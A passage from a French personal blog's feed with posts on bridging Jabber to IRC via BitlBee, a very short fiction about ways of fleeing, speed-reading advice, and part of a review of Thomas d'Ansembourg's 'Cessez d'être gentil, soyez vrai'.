&lt;p&gt;Je voudrais quand même être disponible via &lt;strong&gt;jabber&lt;/strong&gt;. Jabber est une implémentation du protocole XMPP antérieure à celle de &lt;strong&gt;Gtalk&lt;/strong&gt;. &lt;em&gt;Google talk&lt;/em&gt; c&amp;rsquo;était le &lt;em&gt;chat&lt;/em&gt; de Google, remplacé par un autre protocole à l&amp;rsquo;arrivée de &lt;em&gt;hangout&lt;/em&gt;. Tant que c&amp;rsquo;est du texte et que ce n&amp;rsquo;est pas via un &lt;em&gt;smartphone&lt;/em&gt;, les utilisateurs &lt;em&gt;gmail&lt;/em&gt; sont joignables. Ceux de MSN, Facebook, Skype… non.&lt;/p&gt;
&lt;p&gt;Jabber est libre et décentralisé. Je peux choisir mon serveur Jabber. Je peux choisir en qui je fais confiance. Je peux décider d&amp;rsquo;installer mon propre serveur si j&amp;rsquo;en ai l&amp;rsquo;envie. J&amp;rsquo;ai choisi de faire confiance à l&amp;rsquo;&lt;a href="http://www.apinc.org/"&gt;APINC&lt;/a&gt; (qui permet de choisir le nom de domaine, par exemple &lt;em&gt;jabber.fr&lt;/em&gt;. C&amp;rsquo;est facile. Vous pouvez &lt;a href="http://wiki.jabberfr.org/Serveurs"&gt;choisir le vôtre&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est &lt;a href="http://bitlbee.org/"&gt;BitlBee&lt;/a&gt; un peu le sujet du jour qui fera la passerelle entre IRC et Jabber.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Avec mon client IRC, je me connecte à un serveur BitlBee.&lt;/li&gt;
&lt;li&gt;Le serveur BitlBee connait mon identifiant Jabber et se charge de la « communication XMPP ».&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;BitlBee est, comme Jabber, libre et décentralisé en ce sens que l&amp;rsquo;on peut installer son serveur BitlBee. Si l&amp;rsquo;on préfère utiliser un serveur public, &lt;a href="http://www.bitlbee.org/main.php/servers.html"&gt;il suffit de choisir&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;La configuration de l&amp;rsquo;ensemble est assez simple. &lt;a href="http://www.yannmoisan.com/weechat.html"&gt;Le détail se trouve chez Yann&lt;/a&gt;. En bref, avec votre client IRC ( &lt;a href="https://weechat.org/"&gt;weechat&lt;/a&gt;, &lt;a href="http://www.irssi.org/"&gt;irssi&lt;/a&gt;…) vous vous connectez au serveur BitlBee (&lt;em&gt;localhost&lt;/em&gt; ou autre) et vous vous enregistrez:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;register [pwd]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ensuite, vous ajoutez votre compte Jabber:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;account add jabber [login]@example.org [pwd]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Et c&amp;rsquo;est tout. Vous voyez apparaitre un salon &amp;amp;bitlbee qui vous montre votre &lt;em&gt;rooster&lt;/em&gt; et vos contacts connectés. Faites un &lt;strong&gt;help&lt;/strong&gt; et consultez la doc.&lt;/p&gt;
&lt;p&gt;La prochaine fois, inutile de s&amp;rsquo;enregistrer (vous l&amp;rsquo;êtes déjà), vous identifier suffira. Pour automatiser:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;/set irc.server.[servername].command &amp;quot;/msg &amp;amp;bitlbee identify PASSWORD&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pour ce qui est de la communication en groupe, Jabber permet d&amp;rsquo;en créer et &lt;a href="https://wiki.bitlbee.org/JabberGroupchats"&gt;Bitlbee aussi&lt;/a&gt; !&lt;br&gt;
&lt;a href="http://jabberfr.org/"&gt;JabberFr&lt;/a&gt; propose une &lt;a href="http://chat.jabberfr.org/liste.php"&gt;liste de groupes&lt;/a&gt; de discussion que l&amp;rsquo;on peut rejoindre. On peut également créer le sien. Pour rejoindre le salon &lt;em&gt;jabberfr@chat.jabberfr.org&lt;/em&gt;, ajouter le salon et le rejoindre avec un bon vieux &lt;em&gt;join&lt;/em&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;chat add [account] jabberfr@chat.jabberfr.org
/join #jabberfr
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Une fois que vous avez testé ça avec votre client IRC, il reste à &lt;a href="2013-07-28-irc-2.0.html"&gt;configurer ZNC&lt;/a&gt; pour qu&amp;rsquo;il se connecte tout seul à BitlBee. Le serveur ZNC retiendra les salons auxquels vous êtes connectés.&lt;/p&gt;
&lt;p&gt;Mon adresse jabber est &lt;em&gt;pinkilla@jabber.fr&lt;/em&gt; et je traine sur &lt;em&gt;esi@chat.jabberfr.org&lt;/em&gt;… vous pouvez reprendre une activité normale.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://alexandre968.deviantart.com/art/Cabine-telephonique-163640779"&gt;alexandre968&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Fuyez !</title><link href="http://blog.namok.be/2015-04-14-fuyez.html" rel="alternate"/><published>2015-04-14T00:00:00+02:00</published><updated>2015-04-14T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2015-04-14:/2015-04-14-fuyez.html</id><summary type="html">Fiction sur l'envie de fuir, d'être ailleurs.</summary><content type="html">&lt;p&gt;&lt;img alt="Flat tire" src="/images/flat_by_LikitaRenn.jpg" title="Fuir, fuite. Tu l'as ?"&gt;&lt;/p&gt;
&lt;p&gt;— Fuyez ! hurla-t-il&lt;/p&gt;
&lt;p&gt;Ils étaient quatre. Ils se retournèrent comme un seul homme en entendant Marvin et prirent la fuite…&lt;/p&gt;
&lt;p&gt;Alice pris simplement les jambes à son cou et couru, couru autant que ses petites jambes le lui permettaient. Elle se trouva rapidement hors d&amp;rsquo;atteinte.&lt;/p&gt;
&lt;p&gt;Bob pris cette bouteille d&amp;rsquo;alcool qu&amp;rsquo;il trainait toujours avec lui et la vida d&amp;rsquo;un seul trait. Ensuite, il farfouilla dans son sac pour trouver l&amp;rsquo;autre. Finalement à quoi bon courir…&lt;/p&gt;
&lt;p&gt;Carlos, en avait ras la casquette de Marvin. Des semaines et des semaines qu&amp;rsquo;ils le suivaient et ses plans étaient de plus en plus foireux. Carlos décréta qu&amp;rsquo;il était temps de quitter le groupe. Il fit rapidement ses adieux et parti. Ils ne se revirent plus jamais…&lt;/p&gt;
&lt;p&gt;Ève n&amp;rsquo;avait plus l&amp;rsquo;énergie ni l&amp;rsquo;envie de fuir. Elle se trouvait finalement très lasse. Cela faisait longtemps qu&amp;rsquo;elle y pensait sans jamais franchir le pas… d&amp;rsquo;un coup de couteau, elle mis fin à ses jours.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Il y a mille façons de fuir …&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://likitarenn.deviantart.com/art/flat-32692024"&gt;LikitaRenn&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Comment transformer un texte en vidéo ?</title><link href="http://blog.namok.be/2015-03-25-comment-transformer-un-texte-en-video.html" rel="alternate"/><published>2015-03-25T00:00:00+01:00</published><updated>2015-03-25T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2015-03-25:/2015-03-25-comment-transformer-un-texte-en-video.html</id><summary type="html">Ou comment apprendre à lire plus vite ?</summary><content type="html">&lt;p&gt;&lt;em&gt;ou pourquoi ne pas plutôt apprendre à lire plus vite ?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Reading is good kids" src="/images/Reading_is_good__kids_by_crimsonfaded.png"&gt;&lt;/p&gt;
&lt;p&gt;Plutôt que d&amp;rsquo;écrire un texte ou de détailler un &lt;em&gt;howto&lt;/em&gt;, je voudrais faire une vidéo… pour être &lt;em&gt;hype&lt;/em&gt; !&lt;/p&gt;
&lt;p&gt;Hier, j&amp;rsquo;avais fait un &lt;em&gt;screencast&lt;/em&gt; &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; expliquant comment transformer un document Open/Libreoffice en PDF. C&amp;rsquo;était plus pour le fun que parce que c&amp;rsquo;est utile. C&amp;rsquo;est tellement simple (et je comprends que parfois, il faut montrer).&lt;/p&gt;
&lt;p&gt;Si je devais faire un &lt;em&gt;howto&lt;/em&gt;, j&amp;rsquo;écrirais (attention, ça démarre):&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Ouvrir son document avec OpenOffice et cliquer sur &lt;code&gt;Fichier / Exporter au format PDF&lt;/code&gt;. Il est également possible de cliquer sur l&amp;rsquo;icône idoine dans la barre d&amp;rsquo;icône (les infos bulles devraient aider à trouver la bonne).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Celui qui lit lentement y consacre 10s.&lt;br&gt;
La vidéo quant-à elle dure 1min 51s.&lt;/p&gt;
&lt;div style="position:relative;padding-bottom:56.25%;height:0;overflow:hidden;"&gt;
  &lt;iframe src="https://geo.dailymotion.com/player.html?video=x1ol13"
    style="width:100%; height:100%; position:absolute; left:0px; top:0px; overflow:hidden; border:none;"
    allowfullscreen
    title="Dailymotion Video Player"
    allow="web-share"&gt;
  &lt;/iframe&gt;
&lt;/div&gt;

&lt;p&gt;&lt;a href="http://www.dailymotion.com/video/x1ol13_convertir-un-doc-en-pdf-pour-les-bl_school"&gt;Convertir un doc en pdf pour les blaireaux&lt;/a&gt; &lt;em&gt;par &lt;a href="http://www.dailymotion.com/Pinkilla"&gt;Pinkilla&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Il n&amp;rsquo;y a pas photo &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;, il est &lt;strong&gt;beaucoup plus utile à mon sens d&amp;rsquo;apprendre à lire rapidement&lt;/strong&gt; et à comprendre les textes que de &lt;em&gt;mater des tutos sur youtube&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Pour apprendre à lire plus vite, je dis bien lire plus vite, pas survoler, il suffit d&amp;rsquo;y consacrer un peu de temps et de s&amp;rsquo;entrainer un peu. Ce n&amp;rsquo;est pas la mémoire sémantique, celle qui est responsable de la compréhension des phrases et des mots, que l&amp;rsquo;on va améliorer mais la mémoire visuelle, celle qui nous permet de reconnaitre les mots.&lt;/p&gt;
&lt;p&gt;Le principe est de donner au cerveau la possibilité de reconnaitre un mot sans devoir l&amp;rsquo;épeler, c&amp;rsquo;est de donner la possibilité de comprendre une phrase sans lire tous les mots. Il faut apprendre au cerveau à se focaliser sur les mots importants.&lt;/p&gt;
&lt;p&gt;Voici quelques conseils un peu en vrac et qu&amp;rsquo;il faudra remettre dans leur contexte.&lt;/p&gt;
&lt;h2&gt;M&amp;rsquo;adapter à ce que je lis, connaitre mes objectifs&lt;/h2&gt;
&lt;p&gt;Je lis plus lentement un roman qu&amp;rsquo;un texte technique. Le roman, je veux le savourer. Le texte technique, je veux en extraire l&amp;rsquo;information qui me sera utile. Je serai peut-être interrogé sur ce que je lis.&lt;/p&gt;
&lt;p&gt;Voici ma méthode.&lt;/p&gt;
&lt;p&gt;Si le texte est long, je fais une &lt;strong&gt;prélecture&lt;/strong&gt;. Je parcours la quatrième de couverture et la table des matières. Je m&amp;rsquo;intéresse ensuite à certains chapitres, pas tous. Je cherche le chapitre qui m&amp;rsquo;intéresse dans le livre.&lt;/p&gt;
&lt;p&gt;Si le texte est plus court, je lis d&amp;rsquo;abord l&amp;rsquo;introduction puis la conclusion afin de déceler si le texte est bien construit et si le cheminement pour arriver d&amp;rsquo;un bout à l&amp;rsquo;autre m&amp;rsquo;est inconnu. Dans ce cas, il est digne d&amp;rsquo;être lu.&lt;/p&gt;
&lt;p&gt;Pour chaque paragraphe, je lis la première phrase et la dernière… ensuite je décide s&amp;rsquo;il faut lire « entre les deux » ou si je peux me contenter de ce que j&amp;rsquo;ai lu.&lt;/p&gt;
&lt;p&gt;De cette manière, je me fais une bonne idée du contenu. Je prends des notes dans le livre ou sur le côté si je désire assimiler les concepts.&lt;/p&gt;
&lt;h2&gt;Éviter les retours en arrière&lt;/h2&gt;
&lt;p&gt;Même si j&amp;rsquo;ai l&amp;rsquo;impression de devoir relire quelques mots, j&amp;rsquo;essaie de m&amp;rsquo;en empêcher et de continuer. Je dois accélérer ma lecture, mon cerveau suivra. Je peux utiliser un &lt;strong&gt;guide visuel&lt;/strong&gt; s&amp;rsquo;il le faut. Sans complexe, j&amp;rsquo;utilise simplement… mon doigt !&lt;/p&gt;
&lt;h2&gt;Éviter de vocaliser&lt;/h2&gt;
&lt;p&gt;C&amp;rsquo;est le cerveau qui lit, pas les lèvres.&lt;/p&gt;
&lt;h2&gt;Rester concentré&lt;/h2&gt;
&lt;p&gt;Si je lis trop lentement, mon cerveau s&amp;rsquo;embête, il pense à autre chose… et c&amp;rsquo;est perdu. Je peux occuper mon cerveau en &lt;strong&gt;accélérant&lt;/strong&gt; et en l&amp;rsquo;obligeant à &lt;strong&gt;extraire l&amp;rsquo;information&lt;/strong&gt;. En effet, tous les mots ne sont pas importants, j&amp;rsquo;essaie de lire uniquement ceux qui font sens.&lt;/p&gt;
&lt;p&gt;Faire des pauses pendant la lecture permet, évidemment, de rester concentré.&lt;/p&gt;
&lt;h2&gt;Élargir mon champ de vision&lt;/h2&gt;
&lt;p&gt;Il est possible d&amp;rsquo;entrainer son cerveau afin qu&amp;rsquo;il perçoive une plus &lt;strong&gt;large&lt;/strong&gt; plage lors de la lecture. Il peut « voir » plus de mots en une fois. Plutôt que d&amp;rsquo;essayer de faire avancer les yeux de manière linéaire, les faire se déplacer par petits sauts. À chaque saut, saisir un ensemble de mots.&lt;/p&gt;
&lt;p&gt;Ce n&amp;rsquo;est pas pour rien que &lt;strong&gt;les journaux sont écrits en colonnes&lt;/strong&gt; et pas en longues lignes. Un lecteur rapide pourra saisir les mots du journal ligne par ligne et évitera le déplacement horizontal des yeux.&lt;/p&gt;
&lt;h2&gt;Utiliser des outils pour lire sur le web et à l&amp;rsquo;écran&lt;/h2&gt;
&lt;p&gt;Lorsque je lis sur le web et à l&amp;rsquo;écran, je peux être distrait par des notifications, par des « trucs qui clignotent » alors:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;j&amp;rsquo;installe &lt;a href="https://adblockplus.org/"&gt;AdBlock&lt;/a&gt; si ce n&amp;rsquo;est pas encore fait;&lt;/li&gt;
&lt;li&gt;j&amp;rsquo;utilise l&amp;rsquo;extension &lt;a href="https://evernote.com/intl/fr/clearly/"&gt;Clearly&lt;/a&gt; qui supprime de la page toute la mise en forme qui me distrait… c&amp;rsquo;est assez magique;&lt;/li&gt;
&lt;li&gt;j&amp;rsquo;utilise &lt;a href="http://getpocket.com/a/queue/"&gt;Pocket&lt;/a&gt; lorsque je veux lire plus tard.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Lire plus vite est plus important que de taper à l&amp;rsquo;aveugle.&lt;/p&gt;
&lt;p&gt;Certains lisent tandis que d&amp;rsquo;autres regardent des vidéos.&lt;br&gt;
Est-ce générationnel ?&lt;br&gt;
Est-ce qu&amp;rsquo;une vidéo courte ne pourrait pas avoir un intérêt (comme les &lt;em&gt;screencast pour les blaireaux&lt;/em&gt; que je faisais avant-hier &lt;sup id="fnref:f3"&gt;&lt;a class="footnote-ref" href="#fn:f3"&gt;3&lt;/a&gt;&lt;/sup&gt;) ?&lt;/p&gt;
&lt;p&gt;Et toi, lis-tu rapidement ?&lt;br&gt;
(&lt;a href="http://www.readingsoft.com/fr/test.html"&gt;Test de vitesse de lecture&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://crimsonfaded.deviantart.com/art/Reading-is-good-kids-137646252"&gt;crimsonfaded&lt;/a&gt;. Pour aller plus loin, lire &lt;a href="http://lecturerapideblog.com/"&gt;Lecture rapide&lt;/a&gt; et &lt;a href="https://ploum.net/changez-de-vie-apprenez-a-lire/"&gt;Changez de vie, apprenez à lire&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;À l&amp;rsquo;époque on parlait de &lt;strong&gt;screencast&lt;/strong&gt; alors qu&amp;rsquo;aujourd&amp;rsquo;hui, on fait des … &lt;strong&gt;vidéos youtube&lt;/strong&gt; … parce que dailymotion et vimeo n&amp;rsquo;existent simplement plus pour le quidam !&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f2"&gt;
&lt;p&gt;Notez le lien entre le sujet et l&amp;rsquo;expression choisie \°/&amp;#160;&lt;a class="footnote-backref" href="#fnref:f2" title="Jump back to footnote 2 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id="fn:f3"&gt;
&lt;p&gt;Je viens de vérifier, avant-hier, c&amp;rsquo;était vers 2005 ! Vu les stats de l&amp;rsquo;époque je vais plutôt essayer de progresser en lecture rapide et en &lt;a href="http://lecturerapideblog.com/comment-lis-assimile-livre-vie"&gt;rétention de l&amp;rsquo;information&lt;/a&gt;.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f3" title="Jump back to footnote 3 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>J'ai lu pour vous Cessez d'être gentil, soyez vrai</title><link href="http://blog.namok.be/2015-03-23-cessez-etre-gentil-soyez-vrai.html" rel="alternate"/><published>2015-03-23T00:00:00+01:00</published><updated>2015-03-23T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2015-03-23:/2015-03-23-cessez-etre-gentil-soyez-vrai.html</id><summary type="html">J'ai lu pour vous Cessez d'être gentil, soyez vrai</summary><content type="html">&lt;p&gt;&lt;em&gt;« Cessez d&amp;rsquo;être gentil, soyez VRAI », &lt;a href="http://www.thomasdansembourg.com/fr/index.html"&gt;Thomas d&amp;rsquo;Ansembourg&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img style="width:100%;" src="/images/beyond_the_smile_by_hipppy_cut.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;Ma première réaction lorsque j&amp;rsquo;ai reçu ce livre était de ne pas le lire ! Cette
idée qui me taraudais, cette idée que je n&amp;rsquo;arrivais pas à me sortir de la tête
tellement certains mécanismes sont bien ancrés en moi. Cette idée:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Si je lis ce livre, on va se séparer …&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Comment dire ce que l&amp;rsquo;on pense, comment être vrai peut-il être meilleur que de
« lisser », que de dire ce que l&amp;rsquo;autre attend de soi, que d&amp;rsquo;être gentil ? Se
poser la question est probablement l&amp;rsquo;argument principal pour effectivement lire
le livre. &lt;/p&gt;
&lt;p&gt;Dire ce que l&amp;rsquo;on pense … au bon moment et à la bonne personne.&lt;br&gt;
Dire ce que l&amp;rsquo;on pense … en y mettant la bonne forme. &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Préférez-vous que votre ami vous dise &lt;strong&gt;oui&lt;/strong&gt; alors qu&amp;rsquo;il pense &lt;strong&gt;non&lt;/strong&gt; ? 
Ou préférez-vous que votre ami vous rappelle que
votre amitié est importante mais que, aujourd&amp;rsquo;hui, il décline ? &lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Lecture superficielle&lt;/h2&gt;
&lt;p&gt;Si je devais choisir deux éléments qui me paraissent importants dans ce livre … &lt;/p&gt;
&lt;p&gt;La manière d&amp;rsquo;exprimer ce que l&amp;rsquo;on ressent&lt;sup id="fnref:f"&gt;&lt;a class="footnote-ref" href="#fn:f"&gt;1&lt;/a&gt;&lt;/sup&gt;. Si je parviens à faire le pas
d&amp;rsquo;être vrai vis à vis de moi-même, je devrai l&amp;rsquo;être vis à vis des autres. Je
devrai donc exprimer ce que je ressens plutôt que de simplement dire &lt;em&gt;oui&lt;/em&gt; … et
penser &lt;em&gt;non&lt;/em&gt;. &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;situation - sentiment - besoin - demande&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;observer les &lt;strong&gt;faits&lt;/strong&gt; sans juger. Dire ce que je vois sans interprétation;&lt;/li&gt;
&lt;li&gt;dire ce que je &lt;strong&gt;ressens&lt;/strong&gt; face à cette situation. C&amp;rsquo;est un sentiment; de la
  joie, de la colère, …&lt;/li&gt;
&lt;li&gt;quels sont mes &lt;strong&gt;besoins&lt;/strong&gt; face à cette situation pour ne plus ressentir ces
  sentiments négatifs (ou, à l&amp;rsquo;inverse, pour continuer à ressentir ces
  sentiments positifs);&lt;/li&gt;
&lt;li&gt;j&amp;rsquo;exprime clairement et sans (trop) d&amp;rsquo;emballages ma &lt;strong&gt;demande&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;\&amp;lt;insérez ici votre meilleur exemple&amp;gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Le deuxième élément qui a résonné en moi et dont l&amp;rsquo;écho&lt;sup id="fnref:g"&gt;&lt;a class="footnote-ref" href="#fn:g"&gt;2&lt;/a&gt;&lt;/sup&gt; est encore présent
plusieurs jours après avoir refermé le livre tient en une seule phrase:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Désaccord n&amp;rsquo;est pas désamour&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;On a donc le droit de dire à l&amp;rsquo;autre que l&amp;rsquo;on n&amp;rsquo;est pas d&amp;rsquo;accord sans cesser de
l&amp;rsquo;aimer &lt;strong&gt;et&lt;/strong&gt; sans qu&amp;rsquo;il cesse de nous aimer. &lt;/p&gt;
&lt;p&gt;Avec les collègues et l&amp;rsquo;entourage, pas trop de soucis, ça passe ou ça casse.
Avec mes enfants non plus … mais avec son conjoint. Quel risque ! &lt;/p&gt;
&lt;h2&gt;Lecture approfondie&lt;/h2&gt;
&lt;p&gt;Être vrai avec les autres et, peut-être surtout, avec soi-même. Être vrai
permettra d&amp;rsquo;éviter les conflits intérieurs et aussi les guerres ouvertes avec
les autres. « Cessez d&amp;rsquo;être gentil, soyez vrai », est une recherche de paix
intérieure et d&amp;rsquo;une meilleure communication avec ceux qui m&amp;rsquo;entourent. Cette
recherche veut m&amp;rsquo;aider à éviter tout type de conflit. Non pas les éviter en les
cachant mais en essayant de les comprendre et de savoir d&amp;rsquo;où ils viennent. &lt;/p&gt;
&lt;p&gt;À l&amp;rsquo;origine d&amp;rsquo;un conflit il y a souvent une personne qui ne sait pas
formuler ses attentes de manière claires et négociables. Alors, elle juge et
critique. Elle devient agressive. &lt;/p&gt;
&lt;p&gt;Pour pallier à ça, je dois&lt;sup id="fnref:h"&gt;&lt;a class="footnote-ref" href="#fn:h"&gt;3&lt;/a&gt;&lt;/sup&gt; apprendre à &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;écouter (tant moi-même que l&amp;rsquo;autre) avec respect et empathie. Ce qui veut dire
  ne pas m&amp;rsquo;énerver et ne pas vouloir avoir raison à tout prix;&lt;/li&gt;
&lt;li&gt;dire non &lt;strong&gt;à temps&lt;/strong&gt;, à la bonne personne et dans la &lt;strong&gt;bonne mesure&lt;/strong&gt;. Ce qui
  évite le mécanisme de la cocotte minute.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Cocotte minute&lt;/strong&gt; Dire oui et penser non. Laisser agir le temps. Soudain, BOUM,
voir apparaitre la violence ou la dépression. &lt;/p&gt;
&lt;p&gt;Je suis gentil au lieu d&amp;rsquo;être vrai car, tel Obélix, je&lt;sup id="fnref:i"&gt;&lt;a class="footnote-ref" href="#fn:i"&gt;4&lt;/a&gt;&lt;/sup&gt; suis tombé dedans quand
j&amp;rsquo;étais petit. Je suis tombé dans &lt;strong&gt;cinq pièges&lt;/strong&gt;. &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Piège 1: Faire au lieu d&amp;rsquo;être&lt;/strong&gt;  &lt;/p&gt;
&lt;p&gt;Je suis tel le hamster dans sa cage dont la vie se résume à une course
infernale. Je veux &lt;strong&gt;faire&lt;/strong&gt;; je veux te donner des conseils, je veux te
consoler, répondre à ta place, faire à ta place, … au lieu d&amp;rsquo;&lt;strong&gt;être là&lt;/strong&gt;, avec
toi, à te consacrer du temps, à être à ton écoute, à te regarder faire
/ apprendre … simplement. &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Piège 2: Mettre l&amp;rsquo;estime de soi dans le regard de l&amp;rsquo;autre&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Je fais bien, je suis bien … si je pense que tu trouves que c&amp;rsquo;est bien.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Piège 3: Avoir peur de la différence&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Peut-être le piège dans lequel on a poussé le plus de monde !  &lt;a href="2013-02-03-le-jeu-de-la-mort.html"&gt;L&amp;rsquo;expérience de
Milgram&lt;/a&gt; me donne l&amp;rsquo;impression que l&amp;rsquo;on est éduqué par les
parents&lt;sup id="fnref:j"&gt;&lt;a class="footnote-ref" href="#fn:j"&gt;5&lt;/a&gt;&lt;/sup&gt;, par les médias à &lt;a href="2013-12-10-un-bon-soldat.html"&gt;être de bons soldats&lt;/a&gt; et que l&amp;rsquo;important
est de faire ce que l&amp;rsquo;on attend de nous. &lt;/p&gt;
&lt;p&gt;Cette docilité, cette importance d&amp;rsquo;être un bon soldat, à « bien faire ce que
l&amp;rsquo;on attend de nous » se caractérise par, je cite Thomas d&amp;rsquo;Ansembourg, 
l&amp;rsquo;incapacité à résister:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;au confort à court terme qui &lt;em&gt;assoupit le cœur&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;la consommation, le matérialisme qui &lt;em&gt;étourdit l&amp;rsquo;esprit&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;la sécurité à tout crin qui &lt;em&gt;inhibe l&amp;rsquo;élan de vie&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;au prêt à penser qui &lt;em&gt;étouffe l&amp;rsquo;élan de vie&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;La peur de la différence s&amp;rsquo;articule autour de deux peurs: &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;la peur de devoir &lt;strong&gt;entrer dans le moule de l&amp;rsquo;autre&lt;/strong&gt; (alors que l&amp;rsquo;on est formaté
  pour);&lt;/li&gt;
&lt;li&gt;la peur &lt;strong&gt;d&amp;rsquo;être rejeté&lt;/strong&gt; si l&amp;rsquo;on se montre tel que l&amp;rsquo;on est. Alors je me
  rétrécis pour être gentil et admis;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;… alors, je tolère l&amp;rsquo;autre uniquement s&amp;rsquo;il est pareil que moi ou s&amp;rsquo;il (tant
qu&amp;rsquo;il) m&amp;rsquo;aime.&lt;/p&gt;
&lt;p&gt;Même dans un environnement où l&amp;rsquo;on prône le droit à la différence est-ce que
l&amp;rsquo;on &lt;strong&gt;ressent&lt;/strong&gt; ce droit d&amp;rsquo;être différent ? &lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Piège 4: Je ne sais pas dire non&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;on revient au début de l&amp;rsquo;article: savoir dire non (1) à temps, (2) à la bonne
personne et (3) dans la bonne mesure. &lt;/p&gt;
&lt;p&gt;Pour pouvoir dire non il faut développer son &lt;strong&gt;assertivité&lt;/strong&gt;. Avoir suffisamment
de confiance en soi et d&amp;rsquo;estime de soi pour prendre sa place sans agression ni
soumission. &lt;/p&gt;
&lt;p&gt;Il est bon de privilégier la vérité et la franchise lorsque l&amp;rsquo;on veut dire non.
Un mensonge, même si c&amp;rsquo;est plus facile, ne tient pas la route à long terme. &lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Ai-je envie d&amp;rsquo;ajouter à la confusion du monde par mon attitude (mensonge,
agressivité) ? &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;— Non, je ne viens pas, j&amp;rsquo;ai piscine.&lt;br&gt;
— J&amp;rsquo;aime quand tu m&amp;rsquo;invites et j&amp;rsquo;ai aussi envie de te rencontrer. J&amp;rsquo;ai également
besoin de me retrouver avec moi-même ce week-end car j&amp;rsquo;ai accumulé trop de
fatigue cette semaine. Ça te convient si on reporte ? &lt;/p&gt;
